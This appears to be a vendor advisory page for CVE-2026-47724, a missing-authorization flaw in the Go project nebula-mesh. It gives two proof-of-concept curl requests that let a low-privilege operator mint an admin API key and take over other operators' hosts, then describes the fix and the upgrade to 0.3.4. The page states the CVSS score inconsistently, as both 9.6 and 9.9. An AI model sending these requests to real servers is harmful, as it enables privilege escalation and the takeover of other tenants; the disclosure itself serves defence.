CVE-2026-47724

nebula-mesh: API endpoints lack ownership checks, enabling cross-operator privilege escalation

curl -X POST -H "Authorization: Bearer <low-priv-key>" \
  https://server/api/v1/operators/<admin-id>/api-keys \
  -H 'Content-Type: application/json' -d '{"name":"oops"}'
# Returns: {"key":"<32-byte admin bearer>","entry":{...}}

curl -X POST -H "Authorization: Bearer <low-priv-key>" \
  https://server/api/v1/hosts/<victim-host-id>/reenroll
# Returns: {"enrollment_token":"<uuid>",...}

• Any non-admin operator → admin via one curl (A).
• Any non-admin operator → ownership of any victim's hosts with cert + identity transfer (B).
• Mass cross-tenant CRUD including firewall-rule mutation (C).
• Any operator → disable/enable other operators, revoke their API keys, enumerate the operator roster.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 9.6.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-47724 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.3.4); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Shared helpers in a new internal/api/authz.go, mirroring the Web layer's loadAccessibleCA:

func (s *Server) requireAdmin(w http.ResponseWriter, r *http.Request) bool
func (s *Server) requireOperatorAccess(w http.ResponseWriter, r *http.Request, operatorID string) bool
func (s *Server) requireHostAccess(w http.ResponseWriter, r *http.Request, hostID string) (*models.Host, bool)
func (s *Server) requireNetworkAccess(w http.ResponseWriter, r *http.Request, networkID string) (*models.Network, bool)

Each loads the resource, resolves its CA via *.CAID, accepts if actorIsAdmin(ctx) OR actor owns the CA. Reject 403 forbidden; audit-log api.<resource>.forbidden with the reason.

The operator-management endpoints take requireAdmin instead (operator ownership doesn't map to CA ownership).

Apply at the top of every host-, network-, firewall-, mobile-bundle-touching API handler, plus the 5 operator endpoints listed above. The legacy config-key path retains admin (preserves backward compatibility); the broader legacy-fallback question is tracked separately as issue #121.

1. What is CVE-2026-47724? CVE-2026-47724 is a critical-severity missing authorization vulnerability in github.com/juev/nebula-mesh (go), affecting versions < 0.3.4. It is fixed in 0.3.4. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-47724? CVE-2026-47724 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/juev/nebula-mesh are affected by CVE-2026-47724? github.com/juev/nebula-mesh (go) versions < 0.3.4 is affected.
4. Is there a fix for CVE-2026-47724? Yes. CVE-2026-47724 is fixed in 0.3.4. Upgrade to this version or later.
5. Is CVE-2026-47724 exploitable, and should I be worried? Whether CVE-2026-47724 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47724 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47724? Upgrade github.com/juev/nebula-mesh to 0.3.4 or later.

Other vulnerabilities in github.com/juev/nebula-mesh